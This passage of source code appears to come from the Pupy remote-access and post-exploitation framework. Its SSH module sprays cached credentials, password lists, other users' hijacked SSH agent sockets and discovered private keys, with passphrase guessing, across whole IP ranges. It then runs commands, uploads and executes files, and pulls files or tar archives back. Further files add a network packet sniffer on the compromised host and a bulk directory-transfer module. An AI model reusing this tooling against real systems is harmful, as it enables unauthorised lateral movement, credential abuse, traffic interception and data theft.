                    write_cb(data[1:])
            else:
                write_cb(data)

        _, stderr, exit_status = self.check_output(
            command,
            on_stdout=_on_stdout)

        if completed_cb:
            completed_cb(exit_status, stderr.getvalue())

        return bool(first_byte[0]) if first_byte else None, stderr, exit_status

    def download_tar(self, remote_path, write_cb, completed_cb, compression='z'):
        self._check_connected()

        commands = []

        commands.append('cd /')
        commands.append('tar zcf - {}'.format(remote_path))

        command = ' && '.join(commands)

        _, stderr, exit_status = self.check_output(
            command, on_stdout=write_cb)

        if completed_cb:
            completed_cb(exit_status, stderr.getvalue())

        return exit_status, stderr, exit_status


    def _shell_reader(self, session, on_data, on_exit):
        while True:
            r, e, eof = self._poll_read(session)

            if r:
                while session.recv_ready():
                    data = session.recv(65535)
                    if data:
                        on_data(data)

            if e:
                while session.recv_stderr_ready():
                    data = session.recv_stderr(65535)
                    if data:
                        on_data(data)

            if eof:
                exit_status = session.recv_exit_status()
                if on_exit:
                    on_exit(exit_status)

                break


    def shell(self, term, w, h, wp, hp, shell=None, on_data=None, on_exit=None):
        self._check_connected()

        transport = self._client.get_transport()

        session = transport.open_session()
        session.get_pty(term, w, h, wp, hp)

        if shell is None:
            session.invoke_shell()
        else:
            session.exec_command(shell)

        def attach():
            reader = Thread(
                name='SSH Interactive Reader',
                target=self._shell_reader,
                args=(session, on_data, on_exit))

            reader.daemon = False
            reader.start()

        # shutdown both
        def shutdown():
            session.shutdown(2)

        # compatible with pupy's order
        def resize_pty(h, w, hp, wp):
            session.resize_pty(w, h, wp, hp)

        return attach, session.sendall, resize_pty, shutdown

    def check_output(self, command, pty=False, env=None, on_stdout=None, on_stderr=None, on_exit=None):
        self._check_connected()

        transport = self._client.get_transport()

        session = transport.open_session()
        session.exec_command(command)
        session.shutdown_write()

        stdout = BytesIO() if on_stdout is None else None
        if not on_stdout:
            on_stdout = stdout.write

        stderr = BytesIO() if on_stderr is None else on_stdout
        if not on_stderr:
            on_stderr = stderr.write

        exit_status = None

        while True:
            r, e, eof = self._poll_read(session)

            while r:
                data = session.recv(65535)
                if data:
                    on_stdout(data)
                r = session.recv_ready()

            while e:
                data = session.recv_stderr(65535)
                if data:
                    on_stderr(data)
                e = session.recv_stderr_ready()

            if eof:
                break

        # Read last bytes from buffer
        # Looks like some kind of bug in paramiko..

        while True:
            data = session.recv(65535)
            if data:
                on_stdout(data)
            else:
                break

        while True:
            data = session.recv_stderr(65535)
            if data:
                on_stderr(data)
            else:
                break

        exit_status = session.recv_exit_status()
        if on_exit:
            on_exit(exit_status)

        return stdout, stderr, exit_status


    def close(self):
        if not self._client:
            return

        self._client.close()
        self._client = None

    def _poll_read(self, channel, stdout=True, stderr=True):
        wait = Event()

        if stdout:
            channel.in_buffer.set_event(wait)

        if stderr:
            channel.in_stderr_buffer.set_event(wait)

        while True:
            recv = False
            error = False
            eof = False

            if stdout and channel.recv_ready():
                recv = True

            if stderr and channel.recv_stderr_ready():
                error = True

            if channel.eof_received or channel.exit_status_ready():
                eof = True

            if recv or error or eof:
                return recv, error, eof

            wait.wait()

        return None, None, None

    def _convert(self, keydata, passwords):
        if 'PuTTY-User-Key-File-2' in keydata:
            for password in passwords:
                password = '' if password is None else password

                try:
                    converted = ppkraw_to_openssh(keydata, password)
                    if not converted:
                        return keydata

                    return converted
                except ValueError:
                    pass

        return keydata

    def _connect(self):
        client = SSHClient()

        client.set_missing_host_key_policy(AutoAddPolicy())
        client.load_system_host_keys()

        # 0. If host in SUCCESS_CACHE try this first
        for cred in find_creds(username=self.user, schema='ssh', port=self.port, address=self.host):
            if cred.password:
                try:
                    client.connect(
                        password=cred.password,
                        hostname=self.host,
                        port=self.port,
                        username=cred.user,
                        allow_agent=False,
                        look_for_keys=False,
                        gss_auth=False,
                        compress=not self._interactive,
                        timeout=self.timeout
                    )

                    self._client = client
                    self._success_args = cred.as_dict()
                    self._success_args.update({
                        'hostname': self.host,
                        'port': self.port,
                    })
                    return True

                except SSHException:
                    client.close()

            elif cred.agent_socket:
                SSH_AUTH_SOCK_bak = environ.get('SSH_AUTH_SOCK', None)
                environ['SSH_AUTH_SOCK'] = cred.agent_socket

                try:
                    client.connect(
                        hostname=self.host,
                        port=self.port,
                        username=cred.user,
                        allow_agent=True,
                        look_for_keys=False,
                        password=None,
                        compress=not self._interactive,
                        timeout=self.timeout
                    )

                    self._client = client
                    self._success_args = cred.as_dict()
                    self._success_args.update({
                        'hostname': self.host,
                        'port': self.port
                    })
                    return True

                except SSHException:
                    client.close()

                finally:
                    if SSH_AUTH_SOCK_bak is None:
                        del environ['SSH_AUTH_SOCK']
                    else:
                        environ['SSH_AUTH_SOCK'] = SSH_AUTH_SOCK_bak

            elif cred.pkey:
                try:
                    client.connect(
                        hostname=self.host,
                        port=self.port,
                        username=cred.user,
                        pkey=cred.pkey,
                        allow_agent=False,
                        look_for_keys=False,
                        gss_auth=False,
                        compress=not self._interactive,
                        timeout=self.timeout
                    )

                    self._client = client
                    self._success_args = cred.as_dict()
                    self._success_args.update({
                        'hostname': self.host,
                        'port': self.port
                    })
                    return True

                except SSHException:
                    client.close()

        current_user = getuser()

        # 1. If password try password
        if self.passwords:
            for password in self.passwords:
                username = self.user or current_user

                try:
                    client.connect(
                        password=password,
                        hostname=self.host,
                        port=self.port,
                        username=username,
                        allow_agent=False,
                        look_for_keys=False,
                        gss_auth=False,
                        compress=not self._interactive,
                        timeout=self.timeout
                    )

                    self._client = client
                    self._success_args = {
                        'hostname': self.host,
                        'port': self.port,
                        'user': username,
                        'password': password,
                        'auto': True,
                        'cached': False,
                    }
                    return True

                except SSHException:
                    client.close()

        # 2. Try agent, default methods etc
        for username, SSH_AUTH_SOCK in self._find_agent_sockets():

            SSH_AUTH_SOCK_bak = environ.get('SSH_AUTH_SOCK', None)
            environ['SSH_AUTH_SOCK'] = SSH_AUTH_SOCK

            username = self.user or username

            try:
                client.connect(
                    hostname=self.host,
                    port=self.port,
                    username=username,
                    allow_agent=True,
                    look_for_keys=False,
                    gss_auth=GSSAPI_MIC_SUPPORT,
                    password=None,
                    compress=not self._interactive,
                    timeout=self.timeout
                )

                self._client = client
                self._success_args = {
                    'hostname': self.host,
                    'port': self.port,
                    'user': username,
                    'agent_socket': SSH_AUTH_SOCK,
                    'auto': False,
                    'cached': False
                }
                return True

            except SSHException:
                client.close()

            finally:
                if SSH_AUTH_SOCK_bak is None:
                    del environ['SSH_AUTH_SOCK']
                else:
                    environ['SSH_AUTH_SOCK'] = SSH_AUTH_SOCK_bak

        # 3. Try all found pkeys
        for key_file, key_data in self._iter_private_keys:
            username = self.user or current_user

            key_passwords = list(self.key_passwords)
            key_passwords.insert(0, None)
            found_key_password = None

            key_data = self._convert(key_data, key_passwords)

            pkey_obj = BytesIO(str(key_data))
            pkey = None

            for klass in KEY_CLASSES:
                for key_password in key_passwords:
                    try:
                        pkey_obj.seek(0)
                        pkey = klass.from_private_key(
                            pkey_obj, password=key_password)
                        found_key_password = key_password
                        break
                    except SSHException:
                        continue

            if pkey is None:
                continue

            try:
                client.connect(
                    hostname=self.host,
                    port=self.port,
                    username=username,
                    pkey=pkey,
                    allow_agent=False,
                    look_for_keys=False,
                    gss_auth=False,
                    compress=not self._interactive,
                    timeout=self.timeout
                )

                self._client = client
                self._success_args = {
                    'hostname': self.host,
                    'port': self.port,
                    'user': username,
                    'key': key_data,
                    'key_file': key_file,
                    'key_password': found_key_password,
                    'pkey': pkey,
                    'auto': False,
                    'cached': False
                }
                return True

            except SSHException:
                client.close()

        if not self._client and client:
            client.close()

def ssh_interactive(term, w, h, wp, hp, host, port, user, passwords,
                    private_keys, program, data_cb, close_cb, timeout):
    private_keys = obtain(private_keys)
    passwords = obtain(passwords)
    data_cb = nowait(data_cb)
    close_cb = nowait(close_cb)

    ssh_passwords, key_passwords = passwords

    try:
        ssh = SSH(host, port, user, ssh_passwords, key_passwords, private_keys, interactive=True, timeout=timeout)
        if not ssh.connected:
            raise ValueError('No valid credentials found to connect to {}:{} user={}'.format(
                ssh.host, ssh.port, ssh.user or 'any'))

    except gaierror as e:
        raise ValueError('Unable to connect to {}:{} - {}'.format(host, port, e.strerror))

    except NoValidConnectionsError:
        raise ValueError('Unable to connect to {}:{}'.format(host, port))

    attach, writer, resizer, closer = ssh.shell(
        term, w, h, wp, hp, program, data_cb, close_cb
    )

    def ssh_close():
        closer()
        ssh.close()

    return attach, writer, resizer, ssh_close

def iter_hosts(hosts, default_passwords=None, default_port=None, default_user=None):
    if isinstance(hosts, basestring):
        hosts = [hosts]

    ssh_passwords, key_passwords = None, None
    if default_passwords:
        ssh_passwords, key_passwords = default_passwords


    for host in hosts:

        if '://' not in host:
            host = 'ssh://' + host

        uri = urlparse(host)
        host = uri.hostname
        port = uri.port or default_port
        user = uri.username or default_user
        passwords = tuple([uri.password]) if uri.password else ssh_passwords

        if uri.path and uri.path[0] == '/' and len(uri.path) > 1 and len(uri.path) < 4:
            try:
                bits = int(uri.path[1:])
                if bits >= 16 and bits <= 32:
                    host += uri.path
            except ValueError:
                pass

        try:
            net = IPNetwork(host)
        except AddrFormatError:
            yield host, port, user, passwords, key_passwords
        else:
            for ip in net:
                yield str(ip), port, user, passwords, key_passwords

# data_cb - tuple
# 1 - Type: 0 - Connection, Data, Exit
# If connection:
# 2 - Connected
# 3,4,5,6 - host, port, user, password

def _ssh_cmd(ssh_cmd, thread_name, arg, hosts, port, user, passwords, private_keys, data_cb, close_cb, timeout):
    hosts = obtain(hosts)
    private_keys = obtain(private_keys)

    default_passwords = obtain(passwords)
    default_user = user
    default_port = port

    data_cb = nowait(data_cb)
    close_cb = nowait(close_cb)

    current_connection = [None]
    closed = Event()

    def ssh_exec_thread():
        for host, port, user, passwords, key_passwords in iter_hosts(
            hosts, default_passwords, default_port, default_user):

            if closed.is_set():
                break

            ssh = None

            try:
                ssh = SSH(host, port, user, passwords, key_passwords, private_keys, timeout=timeout)
                if not ssh.connected:
                    data_cb((0, True, ssh.host, ssh.port, ssh.user))
                    continue


                current_connection[0] = ssh

            except (socket_error, NoValidConnectionsError):
                if ssh:
                    data_cb((0, False, ssh.host, ssh.port, ssh.user))
                else:
                    data_cb((0, False, host, port, user))

                continue

            except Exception as e:
                data_cb((3, 'Exception: {}: {}\n{}'.format(
                    type(e), str(e), format_exc(limit=20))))
                continue

            conninfo = [4]
            conninfo.extend(ssh.success_args)

            data_cb(tuple(conninfo))

            def remote_data(data):
                data_cb((1, data))

            if closed.is_set():
                break

            try:
                if ssh_cmd == SSH.check_output:

                    def remote_exit(status):
                        data_cb((2, status))

                    ssh_cmd(
                        ssh, arg,
                        on_stdout=remote_data, on_stderr=remote_data,
                        on_exit=remote_exit
                    )
                else:
                    if ssh_cmd == SSH.upload_file:
                        def remote_exit(status, stdout, stderr):
                            if stdout:
                                data_cb((1, stdout))

                            if stderr:
                                data_cb((3, stderr))

                            data_cb((2, status))

                        src, dst, touch, perm, chown, run, delete = arg
                        ssh_cmd(ssh, *arg, completed_cb=remote_exit)

                    elif ssh_cmd in (SSH.download_file, SSH.download_tar):
                        def remote_exit(status, stderr):
                            if stderr:
                                data_cb((3, stderr))

                            data_cb((2, status))

                        ssh_cmd(
                            ssh, arg, remote_data,
                            completed_cb=remote_exit
                        )
            finally:
                ssh.close()

    def ssh_exec_thread_wrap():
        try:
            ssh_exec_thread()
        finally:
            try:
                closed.set()
            except:
                pass

            try:
                close_cb()
            except:
                pass

    thread = Thread(
        name=thread_name,
        target=ssh_exec_thread_wrap
    )
    thread.daemon = True
    thread.start()

    return closed.set

def ssh_exec(command, hosts, port, user, passwords, private_keys, data_cb, close_cb, timeout):
    hosts = obtain(hosts)
    private_keys = obtain(private_keys)
    passwords = obtain(passwords)

    return _ssh_cmd(
        SSH.check_output,
        'SSH (Exec) Non-Interactive Reader',
        command,
        hosts, port, user, passwords, private_keys,
        data_cb, close_cb, timeout
    )

def ssh_upload_file(src, dst, perm, touch, chown, run, delete, hosts,
                    port, user, passwords, private_keys, data_cb, close_cb, timeout):
    hosts = obtain(hosts)
    private_keys = obtain(private_keys)
    passwords = obtain(passwords)
    dst = path.expanduser(dst)

    return _ssh_cmd(
        SSH.upload_file,
        'SSH (Upload) Non-Interactive Reader',
        [src, dst, perm, touch, chown, run, delete],
        hosts, port, user, passwords, private_keys,
        data_cb, close_cb, timeout
    )

def ssh_download_file(src, hosts, port, user, passwords, private_keys, data_cb, close_cb, timeout):
    hosts = obtain(hosts)
    private_keys = obtain(private_keys)
    passwords = obtain(passwords)
    src = path.expanduser(src)

    return _ssh_cmd(
        SSH.download_file,
        'SSH (Download/Single) Non-Interactive Reader',
        src,
        hosts, port, user, passwords, private_keys,
        data_cb, close_cb, timeout
    )

def ssh_download_tar(src, hosts, port, user, passwords, private_keys, data_cb, close_cb, timeout):
    hosts = obtain(hosts)
    private_keys = obtain(private_keys)
    passwords = obtain(passwords)
    src = path.expanduser(src)

    return _ssh_cmd(
        SSH.download_tar,
        'SSH (Download/Tar) Non-Interactive Reader',
        src,
        hosts, port, user, passwords, private_keys,
        data_cb, close_cb, timeout
    )


def ssh_keyscan(hosts, port, key_type, data_cb, close_cb, timeout):
    data_cb = nowait(data_cb)

    default_port = '22'
    if port:
        default_port += ',' + str(port)

    def _on_open_port(args):
        host, port, socket = args
        try:
            ssh_conn = Transport(socket)

            if key_type is not None:
                new_preferred_keys = [key_type]
                new_preferred_keys.extend(ssh_conn._preferred_keys)
                ssh_conn._preferred_keys = tuple(new_preferred_keys)

            try:
                ssh_conn.start_client()

                key = ssh_conn.get_remote_server_key()
                key_md5 = md5(str(key)).hexdigest()
                fingerprint = ':'.join(
                    a+b for a, b in zip(key_md5[::2], key_md5[1::2]))

                data_cb(
                    host, port, True, (
                        key.get_name(), fingerprint, b64encode(str(key))))

            finally:
                ssh_conn.close()

        except (socket_error, NoValidConnectionsError):
            data_cb(host, port, None, None)

        except Exception as e:
            data_cb(host, port, False, 'Exception: {}: {}'.format(
                type(e), str(e)))

        finally:
            socket.close()

    closer = scanthread_parse(
        hosts, default_port, close_cb,
        on_open_port=_on_open_port, pass_socket=True
    )

    return closer.set


if __name__ == '__main__':
    def try_int(x):
        try:
            return int(x)
        except:
            return x

    import sys
    import logging

    root_logger = logging.getLogger()
    logging_stream = logging.StreamHandler()
    logging_stream.setFormatter(logging.Formatter('%(asctime)-15s| %(message)s'))
    logging_stream.setLevel('DEBUG')
    root_logger.handlers = []
    root_logger.addHandler(logging_stream)
    root_logger.setLevel('DEBUG')

    s = SSH(*[try_int(x) for x in sys.argv[1:]])
    stdout, stderr, status = s.check_output('sleep 1 && id && sleep 1 && whoami')

    print(status)
    print(stdout.getvalue())
    print(stderr.getvalue())

    print("Upload")
    test = BytesIO('Hello, world!\n')
    stdout, stderr, status = s.upload_file(test.read, '/tmp/test123', rtouch='/bin/bash', append=True)

    print(status)
    print(stdout.getvalue())
    print(stderr.getvalue())

    print("Download")
    test = BytesIO()
    executable, stderr, status = s.download_file('/tmp/test123', test.write)
    print(status)
    print(executable)
    print(test.getvalue())
    print(stderr.getvalue())


================================================
FILE: pupy/packages/all/tasks.py
================================================
# -*- coding: utf-8 -*-

# Wrapper around tasks module

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import pupy.agent

def list():
    return pupy.agent.manager.status()


================================================
FILE: pupy/packages/all/tcpdump.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals
import sys
import traceback

from scapy.all import (
    conf, ETH_P_ALL, six, WINDOWS, errno
)

try:
    from scapy.all import POWERSHELL_PROCESS  # Import fails on Linux
except ImportError:
    pass

from select import select, error as select_error
from threading import Thread, Event
from psutil import net_if_addrs
from time import time
from pupy.network.lib.pupyrpc import nowait


def isniff(count=0, prn=None, lfilter=None,
          L2socket=None, timeout=None, completion=None,
          iface=None, *arg, **karg):

    c = 0
    sniff_sockets = {}  # socket: label dict

    if not sniff_sockets or iface is not None:
        if L2socket is None:
            L2socket = conf.L2listen
        if isinstance(iface, list):
            sniff_sockets.update(
                (L2socket(type=ETH_P_ALL, iface=ifname, *arg, **karg), ifname)
                for ifname in iface
            )
        elif isinstance(iface, dict):
            sniff_sockets.update(
                (L2socket(type=ETH_P_ALL, iface=ifname, *arg, **karg), iflabel)
                for ifname, iflabel in six.iteritems(iface)
            )
        else:
            sniff_sockets[L2socket(type=ETH_P_ALL, iface=iface,
                                   *arg, **karg)] = iface

    if timeout is not None:
        stoptime = time() + timeout

    remain = None
    read_allowed_exceptions = ()

    if conf.use_bpf:
        from scapy.arch.bpf.supersocket import bpf_select

        def _select(sockets):
            return bpf_select(sockets, remain)

    elif WINDOWS:
        from scapy.arch.pcapdnet import PcapTimeoutElapsed
        read_allowed_exceptions = (PcapTimeoutElapsed,)

        def _select(sockets):
            try:
                return sockets
            except PcapTimeoutElapsed:
                return []
    else:
        def _select(sockets):
            try:
                return select(sockets, [], [], remain or 5)[0]
            except select_error as exc:
                # Catch 'Interrupted system call' errors
                if exc[0] == errno.EINTR:
                    return []
                raise
    try:
        while sniff_sockets:
            if timeout is not None:
                remain = stoptime - time()
                if remain <= 0:
                    break

            if completion is not None:
                if completion.is_set():
                    break

            ins = _select(sniff_sockets)
            for s in ins:
                try:
                    p = s.recv()
                except read_allowed_exceptions:
                    continue
                if p is None:
                    del sniff_sockets[s]
                    break
                if lfilter and not lfilter(p):
                    continue
                p.sniffed_on = sniff_sockets[s]

                c += 1
                if prn:
                    r = prn(p)
                    if r is not None:
                        print(r)

                if 0 < count <= c:
                    sniff_sockets = []
                    break

    except KeyboardInterrupt:
        pass

class StopSniff(Exception):
    pass

class SniffSession(Thread):
    def __init__(self, on_data, on_close, iface=None, bpf=None, timeout=None, count=0):
        super(SniffSession, self).__init__()

        self._on_data = on_data
        self._on_close = on_close

        self.bpf = bpf
        self.timeout = timeout
        self.count = count
        self.iface = None
        self.name = None

        self.completion = Event()

        self._set_iface(iface)

    def _set_iface(self, iface):

        if isinstance(iface, bytes):
            iface = iface.decode('utf-8')

        nice_name = iface
        iface = iface.encode(sys.getfilesystemencoding())

        known_ifaces = net_if_addrs()

        if iface not in known_ifaces:
            raise ValueError('Unknown interface {} / known: {}'.format(
                nice_name.encode('utf-8'),
                ', '.join(
                    '"{}"'.format(
                        x.decode(sys.getfilesystemencoding()).encode('utf-8'))
                for x in known_ifaces)))

        if WINDOWS:
            from scapy.arch.windows import IFACES

            mac = None
            for family in known_ifaces[iface]:
                if '-' in family.address:
                    mac = family.address
                    break

            if not mac:
                raise ValueError('Could not find MAC for specified interface')

            for guid, scapy_iface in IFACES.items():
                if scapy_iface.mac.replace('-', ':') == mac.replace('-', ':'):
                    self.iface = scapy_iface
                    break

            if not self.iface:
                raise ValueError('Could not find scapy interface')

        else:
            self.iface = iface

        self.nice_name = nice_name

    def sniff_callback(self, packet):
        if self.completion.is_set():
            raise StopSniff()

        if self._on_data:
            self._on_data(str(packet))

    def run(self):
        self.completion.clear()
        reason = None

        try:
            isniff(
                prn=self.sniff_callback,
                filter=self.bpf,
                count=self.count,
                timeout=self.timeout,
                iface=self.iface,
                completion=self.completion
            )

        except StopSniff:
            reason = 'Interrupted'

        except Exception as e:
            reason = 'Sniff: {}: {}'.format(
                e, traceback.format_exc())

        finally:
            self.completion.set()
            if self._on_close:
                try:
                    self._on_close(reason)
                except:
                    pass

            if WINDOWS:
                try:
                    POWERSHELL_PROCESS.close()
                except:
                    pass


    def stop(self):
        self.completion.set()

    def is_stopped(self, x):
        return self.stopped


def run(on_data, on_close, iface=None, bpf=None, timeout=None, count=0):
    sniffer = SniffSession(
        nowait(on_data), nowait(on_close), iface, bpf, timeout, count)

    sniffer.start()

    return sniffer.nice_name, sniffer.stop


if __name__=="__main__":

    def cb(pkt):
        print(pkt.summary())

    t = SniffSession(cb, None, iface="eth0")
    t.start()
    t.stop()


================================================
FILE: pupy/packages/all/transfer.py
================================================
# -*- coding: utf-8 -*-

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

import sys

from io import open
from os import path, stat
from threading import Thread, Event

if sys.version_info.major > 2:
    from queue import Queue, Empty
else:
    from Queue import Queue, Empty

from pupy.network.lib.buffer import Buffer
from pupy.network.lib.pupyrpc import nowait, brine
from pupy.network.lib.convcompat import as_unicode_string

from zipfile import ZipFile, is_zipfile
from tarfile import is_tarfile
from tarfile import open as open_tarfile

HAS_BUFFER_OPTIMIZATION = False

if Buffer in brine.simple_types:
    HAS_BUFFER_OPTIMIZATION = True
else:
    from io import BytesIO as Buffer

if sys.platform == 'win32':
    from junctions import islink, readlink, lstat
else:
    from os import readlink, lstat
    from os.path import islink

from zlib import compress

from scandir import scandir
if scandir is None:
    from scandir import scandir_generic as scandir

import sys
import traceback

import umsgpack

import re

from pupy.network.lib import getLogger
logger = getLogger('transfer')

FIELDS_MAP = {
    x:y for x,y in enumerate([
        'st_mtime', 'st_gid', 'st_uid', 'st_mode', 'st_rdev'
    ])
}

FIELDS_MAP_ENCODE = {
    y:x for x,y in FIELDS_MAP.items()
}

F_TYPE     = 0
F_PATH     = 1
F_FILES    = 2
F_SIZE     = 3
F_DATA     = 4
F_EXC      = 5
F_STAT     = 6
F_ROOT     = 7

T_SIZE     = 0
T_FILE     = 1
T_CONTENT  = 2
T_ZCONTENT = 3
T_SPARSE   = 4
T_CLOSE    = 5
T_C_EXC    = 6
T_DIRVIEW  = 7
T_EXC      = 8
T_FINISH   = 9

D_ROOT     = 0
D_DIRS     = 1
D_SYMS     = 2
D_HARDS    = 3
D_SPECIALS = 4
D_EMPTY    = 5
D_FILES    = 6


class Transfer(object):
    def __init__(self, exclude=None, include=None, follow_symlinks=False,
                 find_size=False, ignore_size=False, single_device=False,
                     chunk_size=1*1024*1024):
        self.initialized = False

        self._terminate = Event()
        self.worker = Thread(target=self._worker_run)
        self.queue = Queue()

        self.follow_symlinks = follow_symlinks
        self.chunk_size = chunk_size
        self.find_size = find_size
        self.ignore_size = ignore_size
        self.single_device = single_device
        self.read_portion = min(16*4096, self.chunk_size)

        self.worker.daemon = True

        self.exclude = re.compile(exclude) if exclude else None
        self.include = re.compile(include) if include else None

        self.initialized = True
        self.worker.start()

        self._current_file = None

    def __del__(self):
        self.terminate()

    def _walk_scandir(self, top, dups={}):
        dirs = []
        files = []
        symlinks = []
        hardlinks = []
        special = []

        if self.single_device:
            try:
                topstat = stat(top)
            except OSError as e:
                logger.debug('_walk_scandir:topstat: %s', e)
                return

            except Exception as e:
                logger.exception('_walk_scandir:topstat: %s', e)
                raise

            if self.single_device is True:
                self.single_device = topstat.st_dev
            elif self.single_device != topstat.st_dev:
                return

        try:
            scandir_it = scandir(top)
        except OSError as e:
            logger.debug('_walk_scandir:scandir: %s', e)
            return

        except Exception as e:
            logger.exception('_walk_scandir:scandir: %s', e)
            raise

        while not self._terminate.is_set():
            try:
                try:
                    entry = next(scandir_it)

                except UnicodeDecodeError as e:
                    ## ???
                    logger.debug('_walk_scandir:next(scandir_it): %s', e)
                    continue

                except StopIteration:
                    break

            except OSError as e:
                logger.debug('_walk_scandir:next(scandir_it): %s', e)
                return

            if entry is None:
                logger.error('Entry is None')
                continue

            name = entry.path

            if self.exclude:
                if self.include and not self.include.match(name) and self.exclude.match(name):
                    continue
                elif self.exclude.match(name):
                    continue
            elif self.include and not self.include.match(name):
                continue

            is_dir = False
            is_file = False
            is_symlink = False

            if not self.follow_symlinks:
                try:
                    is_symlink = entry.is_symlink()

                    if not is_symlink and sys.platform == 'win32' and entry.is_dir(follow_symlinks=False):
                        is_symlink = islink(entry.path)
                except OSError as e:
                    logger.debug('_walk_scandir:follow_symlinks: %s', e)
                    pass

            if not is_symlink:
                try:
                    is_dir = entry.is_dir(follow_symlinks=self.follow_symlinks)
                except OSError as e:
                    logger.debug('_walk_scandir:is_dir: %s', e)
                    pass

            if not is_dir and not is_symlink:
                try:
                    is_file = entry.is_file(follow_symlinks=self.follow_symlinks)
                except OSError as e:
                    logger.debug('_walk_scandir:is_file: %s', e)
                    pass

            if not is_dir and not is_file and not is_symlink:
                try:
                    is_symlink = entry.is_symlink()
                except:
                    pass

            if is_symlink:
                try:
                    linked_to = readlink(name)
                    symlinks.append((entry, linked_to))
                except (IOError, OSError):
                    pass

            elif is_dir:
                dirs.append(entry)
            elif is_file:
                hardlinked = False
                try:
                    estat = entry.stat()
                    if estat.st_nlink > 1:
                        inode = estat.st_ino
                        if inode in dups:
                            hardlinks.append((entry, dups[inode]))
                            hardlinked = True
                        else:
                            dups[inode] = name

                    if not hardlinked:
                        files.append(entry)

                except OSError as e:
                    logger.debug('_walk_scandir:hardlinked: %s', e)
            else:
                special.append(entry)

        yield top, dirs, files, symlinks, hardlinks, special

        dirpaths = [
            edir.name for edir in dirs
        ]

        del dirs[:], files[:], symlinks[:], hardlinks[:], special[:]

        for direntry in dirpaths:
            new_path = path.join(top, direntry)
            if self.follow_symlinks or not islink(new_path):
                for dentry in self._walk_scandir(new_path, dups):
                    yield dentry

    def _worker_run_unsafe(self, buf):
        global HAS_BUFFER_OPTIMIZATION

        while not self._terminate.is_set():
            task = self.queue.get()

            if task is None:
                self._terminate.set()
                break

            command, args, callback = task
            if command is None and args is None:
                if callback is not None:
                    callback(None, None)

                self._terminate.set()
                break

            restore_compression = False
            channel = None

            try:
                channel = object.__getattribute__(callback, "____conn__")()._channel
            except:
                pass

            try:
                for chunk in command(*args):
                    umsgpack.dump(chunk, buf)

                    if channel and channel.compress and chunk.get(F_TYPE) == T_ZCONTENT:
                        restore_compression = True
                        channel.compress = False

                    del chunk

                    bpos = None

                    if HAS_BUFFER_OPTIMIZATION:
                        bpos = len(buf)
                    else:
                        bpos = buf.tell()

                    if bpos > self.chunk_size:
                        if HAS_BUFFER_OPTIMIZATION:
                            callback(buf, None)
                            buf.drain()
                        else:
                            buf.seek(0)
                            data = buf.read(bpos)
                            buf.seek(0)
                            callback(data, None)
                            del data

                        if restore_compression:
                            try:
                                channel.compress = restore_compression
                            except:
                                pass

                            restore_compression = False

                    if self._terminate.is_set():
                        break

                bpos = None
                if HAS_BUFFER_OPTIMIZATION:
                    bpos = len(buf)
                else:
                    bpos = buf.tell()

                if bpos > 0:
                    if HAS_BUFFER_OPTIMIZATION:
                        callback(buf, None)
                        buf.drain()
                    else:
                        buf.seek(0)
                        data = buf.read(bpos)
                        buf.seek(0)
                        callback(data, None)
                        del data

            except Exception as e:
                try:
                    callback(None, e)
                except EOFError:
                    pass

            finally:
                if restore_compression:
                    try:
                        channel.compress = restore_compression
                    except:
                        pass

        if callback:
            callback(None, None)

    def _worker_run(self):
        try:
            buf = Buffer()
            self._worker_run_unsafe(buf)
        finally:
            del buf

            if self._current_file:
                try:
                    self._current_file.close()
                except:
                    pass

                self._current_file = None

    def _size(self, filepath):
        files_count = 0
        files_size = 0

        if not path.isdir(filepath):
            if self.follow_symlinks:
                filestat = stat(filepath)
            else:
                filestat = lstat(filepath)

            yield {
                F_TYPE: T_SIZE,
                F_PATH: filepath,
                F_FILES: 1,
                F_SIZE: filestat.st_size,
            }
            return

        for root, dirs, files, syms, hards, specials in self._walk_scandir(filepath):
            for f in files:
                files_count += 1
                files_size += f.stat().st_size

                if self._terminate.is_set():
                    break

            if self._terminate.is_set():
                break

        yield {
            F_TYPE: T_SIZE,
            F_PATH: filepath,
            F_FILES: files_count,
            F_SIZE: files_size,
        }

    def _stat_to_vec(self, stat):
        vec = [0]*len(FIELDS_MAP_ENCODE)
        for field in dir(stat):
            if field not in FIELDS_MAP_ENCODE:
                continue

            vec[FIELDS_MAP_ENCODE[field]] = getattr(stat, field)

        return vec

    def _pack_fileobj(self, infile):
        high_entropy_cases = 0
        zeros = 0

        self._current_file = infile
        while not self._terminate.is_set():
            portion = infile.read(self.read_portion)

            if not portion:
                break

            if zeros < (0xFFFFFFFE - self.read_portion) and all(
                    v == b'\0' for v in portion):
                zeros += len(portion)
                del portion
                continue

            if zeros > 0:
                yield {
                    F_TYPE: T_SPARSE,
                    F_DATA: zeros,
                }
                zeros = 0

            zdata = None

            if high_entropy_cases < 3:
                zdata = compress(portion)

            datalen = len(portion)

            if not zdata or len(zdata) >= datalen - (datalen*0.2):
                high_entropy_cases += 1

                result = {
                    F_TYPE: T_CONTENT,
                    F_DATA: portion
                }

                del zdata, portion
                yield result

            else:
                high_entropy_cases = 0

                result = {
                    F_TYPE: T_ZCONTENT,
                    F_DATA: zdata
                }
                del zdata, portion
                yield result

        if zeros > 0:
            yield {
                F_TYPE: T_SPARSE,
                F_DATA: zeros,
            }
            zeros = 0

        yield {
            F_TYPE: T_CLOSE,
        }

    def _pack_file(self, filepath, top=None):
        yield {
            F_TYPE: T_FILE,
            F_PATH: filepath,
        }

        if top:
            filepath = path.join(top, filepath)

        if self._current_file:
            raise ValueError('Invalid messages order')

        try:
            with open(filepath, 'rb', 0) as infile:
                for portion in self._pack_fileobj(infile):
                    yield portion

        except (OSError, IOError) as e:
            yield {
                F_TYPE: T_C_EXC,
                F_EXC: e.args[1],
                F_DATA: e.filename,
            }

        except Exception as e:
            yield {
                F_TYPE: T_C_EXC,
                F_EXC: str(type(e)),
                F_DATA: str(e)
            }

        finally:
            self._current_file = None

    def _pack_path(self, filepath):
        stats = []
        dirview = {
            F_TYPE: T_DIRVIEW,
            F_DATA: {
                D_ROOT: '',
                D_DIRS: [],
                D_SYMS: [],
                D_HARDS: [],
                D_SPECIALS: [],
                D_EMPTY: [],
                D_FILES: [],
            }
        }

        for root, dirs, files, syms, hards, specials in self._walk_scandir(filepath):
            for f in files:
